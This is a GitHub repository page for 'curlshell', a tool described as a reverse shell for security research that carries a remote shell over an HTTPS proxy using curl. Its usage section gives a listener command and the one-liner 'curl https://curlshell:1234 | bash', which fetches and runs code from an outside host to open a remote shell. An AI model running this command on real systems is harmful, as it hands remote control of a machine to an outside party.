Skip to content

irsl/curlshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

d6ebc28 · Nov 23, 2023

History

4 Commits
Jul 13, 2023
Nov 23, 2023

Repository files navigation

Reverse shell using curl

During security research, you may end up running code in an environment, where establishing raw TCP connections to the outside world is not possible; outgoing connection may only go through a connect proxy (HTTPS_PROXY). This simple interactive HTTP server provides a way to mux stdin/stdout and stderr of a remote reverse shell over that proxy with the help of curl.

Usage

Start your listener:

./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234

On the remote side:

curl https://curlshell:1234 | bash

That's it!

About

reverse shell using curl

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages